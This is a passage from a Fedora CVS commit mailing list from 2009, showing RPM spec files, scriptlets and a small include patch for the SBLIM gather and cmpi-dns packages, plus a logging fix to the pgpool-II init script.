%define GATHER_SCHEMA %{_datadir}/%{name}/Linux_Metric.mof %{_datadir}/%{name}/Linux_IPProtocolEndpointMetric.mof %{_datadir}/%{name}/Linux_LocalFileSystemMetric.mof %{_datadir}/${name}/Linux_NetworkPortMetric.mof %{_datadir}/%{name}/Linux_OperatingSystemMetric.mof %{_datadir}/%{name}/Linux_ProcessorMetric.mof %{_datadir}/%{name}/Linux_UnixProcessMetric.mof %{_datadir}/%{name}/Linux_XenMetric.mof %{_datadir}/%{name}/Linux_zECKDMetric.mof %{_datadir}/%{name}/Linux_zCECMetric.mof %{_datadir}/%{name}/Linux_zLPARMetric.mof %{_datadir}/%{name}/Linux_zCHMetric.mof
%define GATHER_REGISTRATION %{_datadir}/%{name}/Linux_IPProtocolEndpointMetric.registration %{_datadir}/%{name}/Linux_LocalFileSystemMetric.registration %{_datadir}/%{name}/Linux_Metric.registration %{_datadir}/%{name}/Linux_NetworkPortMetric.registration %{_datadir}/%{name}/Linux_OperatingSystemMetric.registration %{_datadir}/%{name}/Linux_ProcessorMetric.registration %{_datadir}/%{name}/Linux_UnixProcessMetric.registration %{_datadir}/%{name}/Linux_XenMetric.registration %{_datadir}/%{name}/Linux_zECKDMetric.registration %{_datadir}/%{name}/Linux_zCECMetric.registration %{_datadir}/%{name}/Linux_zLPARMetric.registration %{_datadir}/%{name}/Linux_zCHMetric.registration

%post -p /sbin/ldconfig

%postun -p /sbin/ldconfig

%pre provider
if [ $1 -gt 1 ]
then
  %{_datadir}/%{name}/provider-register.sh -t pegasus -d \
        -r %{GATHER_REGISTRATION} -m %{GATHER_SCHEMA} > /dev/null 2>&1 || :;
  # don't let registration failure when server not running fail upgrade!
fi

%post provider
/sbin/ldconfig
if [ $1 -ge 1 ]
then
  %{_datadir}/%{name}/provider-register.sh -t pegasus \
        -r %{GATHER_REGISTRATION} -m %{GATHER_SCHEMA} > /dev/null 2>&1 || :;
  # don't let registration failure when server not running fail install!
fi

%preun provider
# Deregister only if not upgrading 
if [ $1 -eq 0 ]
then
  %{_datadir}/%{name}/provider-register.sh -t pegasus -d \
        -r %{GATHER_REGISTRATION} -m %{GATHER_SCHEMA} > /dev/null 2>&1 || :;
  # don't let registration failure when server not running fail erase!
fi

%postun provider -p /sbin/ldconfig

%changelog
* Tue Oct 13 2009 Vitezslav Crhonek <vcrhonek at redhat.com> - 2.1.9-1
- Initial support


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/sblim-gather/EL-4/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	22 Oct 2009 04:41:01 -0000	1.1
+++ sources	22 Oct 2009 11:27:10 -0000	1.2
@@ -0,0 +1 @@
+3f22f288b06fb39457300dee9d726376  sblim-gather-2.1.9.tar.bz2



From vcrhonek at fedoraproject.org  Thu Oct 22 11:37:52 2009
From: vcrhonek at fedoraproject.org (vcrhonek)
Date: Thu, 22 Oct 2009 11:37:52 +0000 (UTC)
Subject: rpms/sblim-cmpi-dns/devel import.log, NONE,
	1.1 sblim-cmpi-dns-0.5.2-include.patch, NONE,
	1.1 sblim-cmpi-dns.spec, NONE, 1.1 .cvsignore, 1.1, 1.2 sources,
	1.1, 1.2
Message-ID: <20091022113752.8AAD511C008C@cvs1.fedora.phx.redhat.com>

Author: vcrhonek

Update of /cvs/extras/rpms/sblim-cmpi-dns/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4339/devel

Modified Files:
	.cvsignore sources 
Added Files:
	import.log sblim-cmpi-dns-0.5.2-include.patch 
	sblim-cmpi-dns.spec 
Log Message:
Initial import (#502818).


--- NEW FILE import.log ---
sblim-cmpi-dns-0_5_2-1_fc10:HEAD:sblim-cmpi-dns-0.5.2-1.fc10.src.rpm:1256211430

sblim-cmpi-dns-0.5.2-include.patch:
 smt_dns_array.cpp |    3 +++
 1 file changed, 3 insertions(+)

--- NEW FILE sblim-cmpi-dns-0.5.2-include.patch ---
diff -up sblim-1/sblim-cmpi-dns-0.5.2/provider/support/smt_dns_array.cpp_old sblim-1/sblim-cmpi-dns-0.5.2/provider/support/smt_dns_array.cpp
--- sblim-cmpi-dns-0.5.2/provider/support/smt_dns_array.cpp_old	2005-10-18 14:13:45.000000000 +0200
+++ sblim-cmpi-dns-0.5.2/provider/support/smt_dns_array.cpp	2009-02-16 16:32:31.000000000 +0100
@@ -18,6 +18,9 @@
 #include <string>
 #include <list>
 #include <iostream>
+#include <cstdlib>
+#include <cstring>
+#include <algorithm>
 
 using namespace std;
 


--- NEW FILE sblim-cmpi-dns.spec ---
%define tog_pegasus_version 2:2.5.1
%define provider_dir %{_libdir}/cmpi/

Name:           sblim-cmpi-dns
Version:        0.5.2
Release:        1%{?dist}
Summary:        SBLIM WBEM-SMT Dns

Group:          Applications/System
License:        CPL
URL:            http://sblim.wiki.sourceforge.net/
Source0:        http://downloads.sourceforge.net/sblim/%{name}-%{version}.tar.bz2
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
Patch0:         sblim-cmpi-dns-0.5.2-include.patch

#BuildRequires:  sed
BuildRequires:  flex bison
BuildRequires:  sblim-tools-libra-devel
BuildRequires:  tog-pegasus-devel >= %{tog_pegasus_version}
BuildRequires:  sblim-cmpi-devel
Requires:       sblim-tools-libra
Requires:       bind
Requires:       /etc/ld.so.conf.d
Requires(post): /sbin/ldconfig
Requires(postun): /sbin/ldconfig
Provides:       cmpi-dns = %{version}
Requires:       tog-pegasus >= %{tog_pegasus_version}

%description
The cmpi-dns package provides access to the dns configuration data
via CIMOM technology/infrastructure.
It contains the Dns CIM Model, CMPI Provider with the Samba task specific
Resource Access.

%package devel
Summary:        SBLIM WBEM-SMT Dns - Header Development Files
Group:          Development/Libraries
Requires:       %{name} = %{version}-%{release}
Requires:       tog-pegasus >= %{tog_pegasus_version}

%description devel
SBLIM WBEM-SMT Dns Development Package contains header files and
link libraries for dependent provider packages

%package test
Summary:        SBLIM WBEM-SMT Dns - Testcase Files
Group:          Applications/System
Requires:       %{name} = %{version}-%{release}
Requires:       sblim-testsuite
Requires:       tog-pegasus >= %{tog_pegasus_version}

%description test
SBLIM WBEM-SMT DNS Provider Testcase Files for the SBLIM Testsuite

%prep
%setup -q
%patch0 -p1 -b .include

%build
%ifarch s390 s390x ppc ppc64
export CFLAGS="$RPM_OPT_FLAGS -fsigned-char"
%else
export CFLAGS="$RPM_OPT_FLAGS" 
%endif
%configure \
   TESTSUITEDIR=%{_datadir}/sblim-testsuite \
   CIMSERVER=pegasus \
   PROVIDERDIR=%{provider_dir}
# try to remove RPATH from libtool generated libraries
sed -i 's|^hardcode_libdir_flag_spec=.*|hardcode_libdir_flag_spec=""|g' libtool
sed -i 's|^runpath_var=LD_RUN_PATH|runpath_var=DIE_RPATH_DIE|g' libtool
make

%install
rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT
# remove unused libtool files
rm -f $RPM_BUILD_ROOT/%{_libdir}/*a
rm -f $RPM_BUILD_ROOT/%{_libdir}/cmpi/*a
# shared libraries
mkdir -p $RPM_BUILD_ROOT/%{_sysconfdir}/ld.so.conf.d
echo "%{_libdir}/cmpi" > $RPM_BUILD_ROOT/%{_sysconfdir}/ld.so.conf.d/%{name}-%{_arch}.conf
sed -i -e '1d;2i#!/usr/bin/awk -f' $RPM_BUILD_ROOT/%{_datadir}/%{name}/smt_dns_ra_lines.awk

%files
%defattr(-,root,root,0755)
%{_datadir}/doc/%{name}-%{version}
%{_datadir}/%{name}
%{_libdir}/libRaToolsDns.so.*
%{_libdir}/libIBM_DnsProviderTooling.so.*
%{_libdir}/libLinux_DnsGeneralProviderBasic.so.*
%config(noreplace) %{_sysconfdir}/smt_dns*.conf
%{_libdir}/cmpi/libcmpiLinux_Dns*.so
%{_libdir}/cmpi/libcmpiDnsCIM_ConcreteJob.so
%config(noreplace) %{_sysconfdir}/ld.so.conf.d/%{name}-%{_arch}.conf

%files devel
%defattr(-,root,root,0755)
%{_includedir}/sblim/smt_dns*.h
%{_libdir}/libRaToolsDns.so
%{_libdir}/libIBM_DnsProviderTooling.so
%{_libdir}/libLinux_DnsGeneralProviderBasic.so

%files test
%defattr(-,root,root,0755)
%{_datadir}/sblim-testsuite/elephant.example2.com.conf
%{_datadir}/sblim-testsuite/buffalo.example2.com.conf
%{_datadir}/sblim-testsuite/named.conf
%{_datadir}/sblim-testsuite/testlocaldomain.zone
%{_datadir}/sblim-testsuite/testnamed.local
%{_datadir}/sblim-testsuite/testnamed.ca
%{_datadir}/sblim-testsuite/testlocalhost.zone
%{_datadir}/sblim-testsuite/testnamed.ip6.local
%{_datadir}/sblim-testsuite/testnamed.zero
%{_datadir}/sblim-testsuite/test-cmpi-dns.sh
%{_datadir}/sblim-testsuite/testnamed.broadcast
%{_datadir}/sblim-testsuite/cobra.example1.com.conf
%{_datadir}/sblim-testsuite/rhino.example1.com.conf
%{_datadir}/sblim-testsuite/system/linux/Linux_Dns*
%{_datadir}/sblim-testsuite/cim/Linux_Dns*

# Conditional definition of schema and registration files
%define DNS_SCHEMA %{_datadir}/%{name}/Linux_Dns.mof
%define DNS_REGISTRATION %{_datadir}/%{name}/Linux_Dns.registration

%pre
# If upgrading, deregister old version
if [ $1 -gt 1 ]; then
  %{_datadir}/%{name}/provider-register.sh -d \
  -t pegasus -r %{DNS_REGISTRATION} -m %{DNS_SCHEMA} > /dev/null 2>&1 || :;
fi

%post
/sbin/ldconfig
if [ $1 -ge 1 ]; then
  # Register Schema and Provider - this is higly provider specific
  %{_datadir}/%{name}/provider-register.sh \
  -t pegasus -r %{DNS_REGISTRATION} -m %{DNS_SCHEMA} > /dev/null 2>&1 || :;
fi;

%preun
# Deregister only if not upgrading 
if [ $1 -eq 0 ]; then
  %{_datadir}/%{name}/provider-register.sh -d \
  -t pegasus -r %{DNS_REGISTRATION} -m %{DNS_SCHEMA} > /dev/null 2>&1 || :;
fi

%postun
# Run ldconfig only if not upgrading
if [ $1 -eq 0 ]; then
  /sbin/ldconfig
fi

%clean
rm -rf $RPM_BUILD_ROOT

%changelog
* Thu Oct 15 2009 Vitezslav Crhonek <vcrhonek at redhat.com> - 0.5.2-1
- Initial support


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/sblim-cmpi-dns/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	22 Oct 2009 04:41:39 -0000	1.1
+++ .cvsignore	22 Oct 2009 11:37:52 -0000	1.2
@@ -0,0 +1 @@
+sblim-cmpi-dns-0.5.2.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/sblim-cmpi-dns/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	22 Oct 2009 04:41:39 -0000	1.1
+++ sources	22 Oct 2009 11:37:52 -0000	1.2
@@ -0,0 +1 @@
+0977f52c746cd340d750fe2de2aa5753  sblim-cmpi-dns-0.5.2.tar.bz2



From vcrhonek at fedoraproject.org  Thu Oct 22 11:48:44 2009
From: vcrhonek at fedoraproject.org (vcrhonek)
Date: Thu, 22 Oct 2009 11:48:44 +0000 (UTC)
Subject: rpms/sblim-cmpi-dns/F-12 sblim-cmpi-dns-0.5.2-include.patch, NONE, 
	1.1 sblim-cmpi-dns.spec, NONE, 1.1 sources, 1.1, 1.2
Message-ID: <20091022114844.53EAE11C008C@cvs1.fedora.phx.redhat.com>

Author: vcrhonek

Update of /cvs/extras/rpms/sblim-cmpi-dns/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6573

Modified Files:
	sources 
Added Files:
	sblim-cmpi-dns-0.5.2-include.patch sblim-cmpi-dns.spec 
Log Message:
Initial commit

sblim-cmpi-dns-0.5.2-include.patch:
 smt_dns_array.cpp |    3 +++
 1 file changed, 3 insertions(+)

--- NEW FILE sblim-cmpi-dns-0.5.2-include.patch ---
diff -up sblim-1/sblim-cmpi-dns-0.5.2/provider/support/smt_dns_array.cpp_old sblim-1/sblim-cmpi-dns-0.5.2/provider/support/smt_dns_array.cpp
--- sblim-cmpi-dns-0.5.2/provider/support/smt_dns_array.cpp_old	2005-10-18 14:13:45.000000000 +0200
+++ sblim-cmpi-dns-0.5.2/provider/support/smt_dns_array.cpp	2009-02-16 16:32:31.000000000 +0100
@@ -18,6 +18,9 @@
 #include <string>
 #include <list>
 #include <iostream>
+#include <cstdlib>
+#include <cstring>
+#include <algorithm>
 
 using namespace std;
 


--- NEW FILE sblim-cmpi-dns.spec ---
%define tog_pegasus_version 2:2.5.1
%define provider_dir %{_libdir}/cmpi/

Name:           sblim-cmpi-dns
Version:        0.5.2
Release:        1%{?dist}
Summary:        SBLIM WBEM-SMT Dns

Group:          Applications/System
License:        CPL
URL:            http://sblim.wiki.sourceforge.net/
Source0:        http://downloads.sourceforge.net/sblim/%{name}-%{version}.tar.bz2
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
Patch0:         sblim-cmpi-dns-0.5.2-include.patch

#BuildRequires:  sed
BuildRequires:  flex bison
BuildRequires:  sblim-tools-libra-devel
BuildRequires:  tog-pegasus-devel >= %{tog_pegasus_version}
BuildRequires:  sblim-cmpi-devel
Requires:       sblim-tools-libra
Requires:       bind
Requires:       /etc/ld.so.conf.d
Requires(post): /sbin/ldconfig
Requires(postun): /sbin/ldconfig
Provides:       cmpi-dns = %{version}
Requires:       tog-pegasus >= %{tog_pegasus_version}

%description
The cmpi-dns package provides access to the dns configuration data
via CIMOM technology/infrastructure.
It contains the Dns CIM Model, CMPI Provider with the Samba task specific
Resource Access.

%package devel
Summary:        SBLIM WBEM-SMT Dns - Header Development Files
Group:          Development/Libraries
Requires:       %{name} = %{version}-%{release}
Requires:       tog-pegasus >= %{tog_pegasus_version}

%description devel
SBLIM WBEM-SMT Dns Development Package contains header files and
link libraries for dependent provider packages

%package test
Summary:        SBLIM WBEM-SMT Dns - Testcase Files
Group:          Applications/System
Requires:       %{name} = %{version}-%{release}
Requires:       sblim-testsuite
Requires:       tog-pegasus >= %{tog_pegasus_version}

%description test
SBLIM WBEM-SMT DNS Provider Testcase Files for the SBLIM Testsuite

%prep
%setup -q
%patch0 -p1 -b .include

%build
%ifarch s390 s390x ppc ppc64
export CFLAGS="$RPM_OPT_FLAGS -fsigned-char"
%else
export CFLAGS="$RPM_OPT_FLAGS" 
%endif
%configure \
   TESTSUITEDIR=%{_datadir}/sblim-testsuite \
   CIMSERVER=pegasus \
   PROVIDERDIR=%{provider_dir}
# try to remove RPATH from libtool generated libraries
sed -i 's|^hardcode_libdir_flag_spec=.*|hardcode_libdir_flag_spec=""|g' libtool
sed -i 's|^runpath_var=LD_RUN_PATH|runpath_var=DIE_RPATH_DIE|g' libtool
make

%install
rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT
# remove unused libtool files
rm -f $RPM_BUILD_ROOT/%{_libdir}/*a
rm -f $RPM_BUILD_ROOT/%{_libdir}/cmpi/*a
# shared libraries
mkdir -p $RPM_BUILD_ROOT/%{_sysconfdir}/ld.so.conf.d
echo "%{_libdir}/cmpi" > $RPM_BUILD_ROOT/%{_sysconfdir}/ld.so.conf.d/%{name}-%{_arch}.conf
sed -i -e '1d;2i#!/usr/bin/awk -f' $RPM_BUILD_ROOT/%{_datadir}/%{name}/smt_dns_ra_lines.awk

%files
%defattr(-,root,root,0755)
%{_datadir}/doc/%{name}-%{version}
%{_datadir}/%{name}
%{_libdir}/libRaToolsDns.so.*
%{_libdir}/libIBM_DnsProviderTooling.so.*
%{_libdir}/libLinux_DnsGeneralProviderBasic.so.*
%config(noreplace) %{_sysconfdir}/smt_dns*.conf
%{_libdir}/cmpi/libcmpiLinux_Dns*.so
%{_libdir}/cmpi/libcmpiDnsCIM_ConcreteJob.so
%config(noreplace) %{_sysconfdir}/ld.so.conf.d/%{name}-%{_arch}.conf

%files devel
%defattr(-,root,root,0755)
%{_includedir}/sblim/smt_dns*.h
%{_libdir}/libRaToolsDns.so
%{_libdir}/libIBM_DnsProviderTooling.so
%{_libdir}/libLinux_DnsGeneralProviderBasic.so

%files test
%defattr(-,root,root,0755)
%{_datadir}/sblim-testsuite/elephant.example2.com.conf
%{_datadir}/sblim-testsuite/buffalo.example2.com.conf
%{_datadir}/sblim-testsuite/named.conf
%{_datadir}/sblim-testsuite/testlocaldomain.zone
%{_datadir}/sblim-testsuite/testnamed.local
%{_datadir}/sblim-testsuite/testnamed.ca
%{_datadir}/sblim-testsuite/testlocalhost.zone
%{_datadir}/sblim-testsuite/testnamed.ip6.local
%{_datadir}/sblim-testsuite/testnamed.zero
%{_datadir}/sblim-testsuite/test-cmpi-dns.sh
%{_datadir}/sblim-testsuite/testnamed.broadcast
%{_datadir}/sblim-testsuite/cobra.example1.com.conf
%{_datadir}/sblim-testsuite/rhino.example1.com.conf
%{_datadir}/sblim-testsuite/system/linux/Linux_Dns*
%{_datadir}/sblim-testsuite/cim/Linux_Dns*

# Conditional definition of schema and registration files
%define DNS_SCHEMA %{_datadir}/%{name}/Linux_Dns.mof
%define DNS_REGISTRATION %{_datadir}/%{name}/Linux_Dns.registration

%pre
# If upgrading, deregister old version
if [ $1 -gt 1 ]; then
  %{_datadir}/%{name}/provider-register.sh -d \
  -t pegasus -r %{DNS_REGISTRATION} -m %{DNS_SCHEMA} > /dev/null 2>&1 || :;
fi

%post
/sbin/ldconfig
if [ $1 -ge 1 ]; then
  # Register Schema and Provider - this is higly provider specific
  %{_datadir}/%{name}/provider-register.sh \
  -t pegasus -r %{DNS_REGISTRATION} -m %{DNS_SCHEMA} > /dev/null 2>&1 || :;
fi;

%preun
# Deregister only if not upgrading 
if [ $1 -eq 0 ]; then
  %{_datadir}/%{name}/provider-register.sh -d \
  -t pegasus -r %{DNS_REGISTRATION} -m %{DNS_SCHEMA} > /dev/null 2>&1 || :;
fi

%postun
# Run ldconfig only if not upgrading
if [ $1 -eq 0 ]; then
  /sbin/ldconfig
fi

%clean
rm -rf $RPM_BUILD_ROOT

%changelog
* Thu Oct 15 2009 Vitezslav Crhonek <vcrhonek at redhat.com> - 0.5.2-1
- Initial support


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/sblim-cmpi-dns/F-12/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	22 Oct 2009 04:41:39 -0000	1.1
+++ sources	22 Oct 2009 11:48:44 -0000	1.2
@@ -0,0 +1 @@
+0977f52c746cd340d750fe2de2aa5753  sblim-cmpi-dns-0.5.2.tar.bz2



From vcrhonek at fedoraproject.org  Thu Oct 22 11:55:33 2009
From: vcrhonek at fedoraproject.org (vcrhonek)
Date: Thu, 22 Oct 2009 11:55:33 +0000 (UTC)
Subject: rpms/sblim-cmpi-dns/F-11 sblim-cmpi-dns-0.5.2-include.patch, NONE, 
	1.1 sblim-cmpi-dns.spec, NONE, 1.1 sources, 1.1, 1.2
Message-ID: <20091022115533.ACCCC11C008C@cvs1.fedora.phx.redhat.com>

Author: vcrhonek

Update of /cvs/extras/rpms/sblim-cmpi-dns/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8033

Modified Files:
	sources 
Added Files:
	sblim-cmpi-dns-0.5.2-include.patch sblim-cmpi-dns.spec 
Log Message:
Initial commit

sblim-cmpi-dns-0.5.2-include.patch:
 smt_dns_array.cpp |    3 +++
 1 file changed, 3 insertions(+)

--- NEW FILE sblim-cmpi-dns-0.5.2-include.patch ---
diff -up sblim-1/sblim-cmpi-dns-0.5.2/provider/support/smt_dns_array.cpp_old sblim-1/sblim-cmpi-dns-0.5.2/provider/support/smt_dns_array.cpp
--- sblim-cmpi-dns-0.5.2/provider/support/smt_dns_array.cpp_old	2005-10-18 14:13:45.000000000 +0200
+++ sblim-cmpi-dns-0.5.2/provider/support/smt_dns_array.cpp	2009-02-16 16:32:31.000000000 +0100
@@ -18,6 +18,9 @@
 #include <string>
 #include <list>
 #include <iostream>
+#include <cstdlib>
+#include <cstring>
+#include <algorithm>
 
 using namespace std;
 


--- NEW FILE sblim-cmpi-dns.spec ---
%define tog_pegasus_version 2:2.5.1
%define provider_dir %{_libdir}/cmpi/

Name:           sblim-cmpi-dns
Version:        0.5.2
Release:        1%{?dist}
Summary:        SBLIM WBEM-SMT Dns

Group:          Applications/System
License:        CPL
URL:            http://sblim.wiki.sourceforge.net/
Source0:        http://downloads.sourceforge.net/sblim/%{name}-%{version}.tar.bz2
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
Patch0:         sblim-cmpi-dns-0.5.2-include.patch

#BuildRequires:  sed
BuildRequires:  flex bison
BuildRequires:  sblim-tools-libra-devel
BuildRequires:  tog-pegasus-devel >= %{tog_pegasus_version}
BuildRequires:  sblim-cmpi-devel
Requires:       sblim-tools-libra
Requires:       bind
Requires:       /etc/ld.so.conf.d
Requires(post): /sbin/ldconfig
Requires(postun): /sbin/ldconfig
Provides:       cmpi-dns = %{version}
Requires:       tog-pegasus >= %{tog_pegasus_version}

%description
The cmpi-dns package provides access to the dns configuration data
via CIMOM technology/infrastructure.
It contains the Dns CIM Model, CMPI Provider with the Samba task specific
Resource Access.

%package devel
Summary:        SBLIM WBEM-SMT Dns - Header Development Files
Group:          Development/Libraries
Requires:       %{name} = %{version}-%{release}
Requires:       tog-pegasus >= %{tog_pegasus_version}

%description devel
SBLIM WBEM-SMT Dns Development Package contains header files and
link libraries for dependent provider packages

%package test
Summary:        SBLIM WBEM-SMT Dns - Testcase Files
Group:          Applications/System
Requires:       %{name} = %{version}-%{release}
Requires:       sblim-testsuite
Requires:       tog-pegasus >= %{tog_pegasus_version}

%description test
SBLIM WBEM-SMT DNS Provider Testcase Files for the SBLIM Testsuite

%prep
%setup -q
%patch0 -p1 -b .include

%build
%ifarch s390 s390x ppc ppc64
export CFLAGS="$RPM_OPT_FLAGS -fsigned-char"
%else
export CFLAGS="$RPM_OPT_FLAGS" 
%endif
%configure \
   TESTSUITEDIR=%{_datadir}/sblim-testsuite \
   CIMSERVER=pegasus \
   PROVIDERDIR=%{provider_dir}
# try to remove RPATH from libtool generated libraries
sed -i 's|^hardcode_libdir_flag_spec=.*|hardcode_libdir_flag_spec=""|g' libtool
sed -i 's|^runpath_var=LD_RUN_PATH|runpath_var=DIE_RPATH_DIE|g' libtool
make

%install
rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT
# remove unused libtool files
rm -f $RPM_BUILD_ROOT/%{_libdir}/*a
rm -f $RPM_BUILD_ROOT/%{_libdir}/cmpi/*a
# shared libraries
mkdir -p $RPM_BUILD_ROOT/%{_sysconfdir}/ld.so.conf.d
echo "%{_libdir}/cmpi" > $RPM_BUILD_ROOT/%{_sysconfdir}/ld.so.conf.d/%{name}-%{_arch}.conf
sed -i -e '1d;2i#!/usr/bin/awk -f' $RPM_BUILD_ROOT/%{_datadir}/%{name}/smt_dns_ra_lines.awk

%files
%defattr(-,root,root,0755)
%{_datadir}/doc/%{name}-%{version}
%{_datadir}/%{name}
%{_libdir}/libRaToolsDns.so.*
%{_libdir}/libIBM_DnsProviderTooling.so.*
%{_libdir}/libLinux_DnsGeneralProviderBasic.so.*
%config(noreplace) %{_sysconfdir}/smt_dns*.conf
%{_libdir}/cmpi/libcmpiLinux_Dns*.so
%{_libdir}/cmpi/libcmpiDnsCIM_ConcreteJob.so
%config(noreplace) %{_sysconfdir}/ld.so.conf.d/%{name}-%{_arch}.conf

%files devel
%defattr(-,root,root,0755)
%{_includedir}/sblim/smt_dns*.h
%{_libdir}/libRaToolsDns.so
%{_libdir}/libIBM_DnsProviderTooling.so
%{_libdir}/libLinux_DnsGeneralProviderBasic.so

%files test
%defattr(-,root,root,0755)
%{_datadir}/sblim-testsuite/elephant.example2.com.conf
%{_datadir}/sblim-testsuite/buffalo.example2.com.conf
%{_datadir}/sblim-testsuite/named.conf
%{_datadir}/sblim-testsuite/testlocaldomain.zone
%{_datadir}/sblim-testsuite/testnamed.local
%{_datadir}/sblim-testsuite/testnamed.ca
%{_datadir}/sblim-testsuite/testlocalhost.zone
%{_datadir}/sblim-testsuite/testnamed.ip6.local
%{_datadir}/sblim-testsuite/testnamed.zero
%{_datadir}/sblim-testsuite/test-cmpi-dns.sh
%{_datadir}/sblim-testsuite/testnamed.broadcast
%{_datadir}/sblim-testsuite/cobra.example1.com.conf
%{_datadir}/sblim-testsuite/rhino.example1.com.conf
%{_datadir}/sblim-testsuite/system/linux/Linux_Dns*
%{_datadir}/sblim-testsuite/cim/Linux_Dns*

# Conditional definition of schema and registration files
%define DNS_SCHEMA %{_datadir}/%{name}/Linux_Dns.mof
%define DNS_REGISTRATION %{_datadir}/%{name}/Linux_Dns.registration

%pre
# If upgrading, deregister old version
if [ $1 -gt 1 ]; then
  %{_datadir}/%{name}/provider-register.sh -d \
  -t pegasus -r %{DNS_REGISTRATION} -m %{DNS_SCHEMA} > /dev/null 2>&1 || :;
fi

%post
/sbin/ldconfig
if [ $1 -ge 1 ]; then
  # Register Schema and Provider - this is higly provider specific
  %{_datadir}/%{name}/provider-register.sh \
  -t pegasus -r %{DNS_REGISTRATION} -m %{DNS_SCHEMA} > /dev/null 2>&1 || :;
fi;

%preun
# Deregister only if not upgrading 
if [ $1 -eq 0 ]; then
  %{_datadir}/%{name}/provider-register.sh -d \
  -t pegasus -r %{DNS_REGISTRATION} -m %{DNS_SCHEMA} > /dev/null 2>&1 || :;
fi

%postun
# Run ldconfig only if not upgrading
if [ $1 -eq 0 ]; then
  /sbin/ldconfig
fi

%clean
rm -rf $RPM_BUILD_ROOT

%changelog
* Thu Oct 15 2009 Vitezslav Crhonek <vcrhonek at redhat.com> - 0.5.2-1
- Initial support


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/sblim-cmpi-dns/F-11/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	22 Oct 2009 04:41:39 -0000	1.1
+++ sources	22 Oct 2009 11:55:33 -0000	1.2
@@ -0,0 +1 @@
+0977f52c746cd340d750fe2de2aa5753  sblim-cmpi-dns-0.5.2.tar.bz2



From devrim at fedoraproject.org  Thu Oct 22 11:59:34 2009
From: devrim at fedoraproject.org (=?utf-8?b?RGV2cmltIEfDnE5Ew5xa?=)
Date: Thu, 22 Oct 2009 11:59:34 +0000 (UTC)
Subject: rpms/postgresql-pgpool-II/EL-4 pgpool.init, 1.2,
	1.3 pgpool.sysconfig, 1.1, 1.2
Message-ID: <20091022115934.900DC11C008C@cvs1.fedora.phx.redhat.com>

Author: devrim

Update of /cvs/extras/rpms/postgresql-pgpool-II/EL-4
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8836/EL-4

Modified Files:
	pgpool.init pgpool.sysconfig 
Log Message:
Fix logging, per report from Toshihiro Kitagawa.




Index: pgpool.init
===================================================================
RCS file: /cvs/extras/rpms/postgresql-pgpool-II/EL-4/pgpool.init,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- pgpool.init	23 Mar 2009 09:36:41 -0000	1.2
+++ pgpool.init	22 Oct 2009 11:59:34 -0000	1.3
@@ -11,6 +11,9 @@
 #
 # v2.2 Devrim GUNDUZ <devrim at CommandPrompt.com>
 # - New and improved version which has some fixes.
+#
+# v2.2.5 Devrim GUNDUZ <devrim at CommandPrompt.com>
+# - Fix logging.
 
 if [ -r /etc/sysconfig/pgpool ]; then
     . /etc/sysconfig/pgpool
@@ -37,6 +40,14 @@ then
 	NAME=${NAME:3}
 fi
 
+# For SELinux we need to use 'runuser' not 'su'
+if [ -x /sbin/runuser ]
+then
+    SU=runuser
+else
+    SU=su
+fi
+
 # Set defaults for configuration variables
 PGPOOLENGINE=/usr/bin
 PGPOOLDAEMON=$PGPOOLENGINE/pgpool
@@ -85,7 +96,7 @@ start(){
 
 	echo -n "$PGPOOL_START"
 
-	$PGPOOLDAEMON -f $PGPOOLCONF $OPTS & >> "$PGPOOLLOG" 2>&1 < /dev/null
+	$SU -l postgres -c "$PGPOOLDAEMON -f $PGPOOLCONF $OPTS & " >> "$PGPOOLLOG" 2>&1 < /dev/null
 	sleep 2
 
 	pid=`pidof -s "$PGPOOLDAEMON"`


Index: pgpool.sysconfig
===================================================================
RCS file: /cvs/extras/rpms/postgresql-pgpool-II/EL-4/pgpool.sysconfig,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- pgpool.sysconfig	16 Aug 2007 09:22:28 -0000	1.1
+++ pgpool.sysconfig	22 Oct 2009 11:59:34 -0000	1.2
@@ -4,3 +4,4 @@
 # -d: debug mode. lots of debug information will be printed
 
 #OPTS=" -d -n"
+OPTS=" -n"



From devrim at fedoraproject.org  Thu Oct 22 11:59:34 2009
From: devrim at fedoraproject.org (=?utf-8?b?RGV2cmltIEfDnE5Ew5xa?=)
Date: Thu, 22 Oct 2009 11:59:34 +0000 (UTC)
Subject: rpms/postgresql-pgpool-II/EL-5 pgpool.init, 1.2,
	1.3 pgpool.sysconfig, 1.1, 1.2
Message-ID: <20091022115934.C858211C008C@cvs1.fedora.phx.redhat.com>

Author: devrim

Update of /cvs/extras/rpms/postgresql-pgpool-II/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8836/EL-5

Modified Files:
	pgpool.init pgpool.sysconfig 
Log Message:
Fix logging, per report from Toshihiro Kitagawa.




Index: pgpool.init
===================================================================
RCS file: /cvs/extras/rpms/postgresql-pgpool-II/EL-5/pgpool.init,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
